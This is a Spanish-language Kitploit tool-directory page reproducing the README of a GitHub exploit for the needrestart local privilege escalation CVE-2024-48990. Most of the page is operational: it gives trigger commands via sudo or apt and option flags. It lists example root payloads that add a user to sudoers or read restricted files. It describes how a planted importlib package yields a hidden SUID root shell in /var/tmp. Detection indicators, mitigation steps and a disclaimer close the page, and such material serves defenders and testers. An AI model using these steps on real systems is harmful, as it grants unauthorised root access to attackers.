Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-48990 — needrestart < 3.8 Escalada de Privilegios Local mediante inyección de PYTHONPATH | Kitploit
Herramientas/GitHubGitHub/blueberryp1ll/cve-2024-48990
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónRed Teaming
GitHubblueberryp1ll/cve-2024-48990

CVE-2024-48990

needrestart < 3.8 Escalada de Privilegios Local mediante inyección de PYTHONPATH

Ver Repositorio
13hace 7 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-48990 — needrestart Escalada de Privilegios Local

Exploit de escalada de privilegios local que apunta a needrestart < 3.8 en sistemas Ubuntu/Debian mediante inyección de PYTHONPATH.

Descripción general

needrestart es una utilidad comúnmente instalada en servidores Ubuntu/Debian que verifica qué servicios necesitan reiniciarse después de las actualizaciones de bibliotecas. Se ejecuta como root y normalmente se activa automáticamente después de operaciones apt o se invoca directamente mediante sudo.

Al verificar procesos de Python, needrestart vuelve a invocar el intérprete de Python mientras hereda el entorno completo del proceso de /proc/<pid>/environ, incluido PYTHONPATH. Un usuario local sin privilegios puede explotar esto:

  1. Estableciendo PYTHONPATH en un directorio que contenga un paquete malicioso importlib
  2. Manteniendo un proceso de Python en ejecución para que needrestart lo detecte durante su escaneo
  3. Esperando a que needrestart se ejecute – carga el importlib/__init__.py del atacante como root

Versiones afectadas

PaqueteVulnerableCorregido
needrestart< 3.8>= 3.8

Confirmado en:

  • Ubuntu 22.04 LTS (Jammy) — needrestart 3.5-5ubuntu2.4
  • Ubuntu 24.04 LTS (Noble) — needrestart 3.6-7ubuntu4

Uso

chmod +x exploit.sh
./exploit.sh

Luego active needrestart desde otra terminal:

# If you have direct sudo access to needrestart:
sudo /usr/sbin/needrestart

# Or trigger it via apt (needrestart runs as a post-apt hook):
sudo apt update && sudo apt install --reinstall coreutils

Una vez que needrestart se activa, el exploit crea un shell SUID en /var/tmp/.rootshell y te lleva a un shell root automáticamente.

Si la ejecución automática no funciona, toma el shell manualmente:

/var/tmp/.rootshell -p

Opciones

Usage: ./exploit.sh [OPTIONS]

Options:
  -c <command>    Custom shell command to run as root (default: copy suid shell)
  -w <seconds>    Max wait time in seconds (default: 300)
  -t              Trigger mode: attempt to trigger needrestart via apt
  -n              No cleanup: keep payload directory after exploitation
  -h              Show this help message

Ejemplos

# Default — creates a SUID /bin/bash copy at /var/tmp/.rootshell
./exploit.sh

# Auto-trigger needrestart via apt (requires sudo apt access)
./exploit.sh -t

# Custom payload: add current user to sudoers
./exploit.sh -c 'usermod -aG sudo targetuser'

# Custom payload: read a restricted file
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'

# Extended wait (10 minutes)
./exploit.sh -w 600

Cómo Funciona

┌───────────────────────────────────────────────────────────────┐
│  1. Creates /tmp/.nr_XXXX/importlib/__init__.py with payload  │
│     that runs os.system() to copy /bin/bash as SUID binary    │
├───────────────────────────────────────────────────────────────┤
│  2. Spawns a long-running Python process with                 │
│     PYTHONPATH=/tmp/.nr_XXXX exported in its environment      │
├───────────────────────────────────────────────────────────────┤
│  3. needrestart runs (via sudo or apt hook), scans            │
│     /proc/*/environ, finds the Python process                 │
├───────────────────────────────────────────────────────────────┤
│  4. needrestart re-invokes python3 AS ROOT inheriting the     │
│     attacker's PYTHONPATH → loads malicious importlib          │
├───────────────────────────────────────────────────────────────┤
│  5. Payload executes as root: cp /bin/bash + chmod 4755       │
│     → attacker runs /var/tmp/.rootshell -p → root shell       │
└───────────────────────────────────────────────────────────────┘

Notas

  • El shell SUID se coloca en /var/tmp/ en lugar de /tmp/ porque /tmp suele montarse con nosuid, lo que elimina silenciosamente el bit SUID.
  • El importlib/__init__.py malicioso restaura el importlib real después de la ejecución del payload limpiando sys.path y sys.modules, para que needrestart no falle visiblemente.
  • El proceso Python señuelo ejecuta un archivo .py real (no un one-liner con -c) para una mejor compatibilidad con el escaneo de intérpretes de needrestart.

Detección

Indicadores de que este exploit ha sido utilizado:

  • Binarios SUID inesperados en /var/tmp/ o /tmp/
  • Procesos de Python ejecutándose con valores inusuales de PYTHONPATH que apuntan a directorios temporales
  • Directorios que coinciden con /tmp/.nr_* que contienen un subdirectorio importlib/

Mitigación

# Update needrestart to the patched version
sudo apt update && sudo apt install needrestart

# Or disable interpreter scanning entirely
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf

Referencias

  • CVE-2024-48990
  • Aviso de Qualys — needrestart LPE
  • Aviso de Seguridad de Ubuntu USN-7117-1

Descargo de responsabilidad

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. Úsela solo en sistemas que posea o para los que tenga permiso explícito por escrito para realizar pruebas. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso.

Licencia

MIT

Descargar herramienta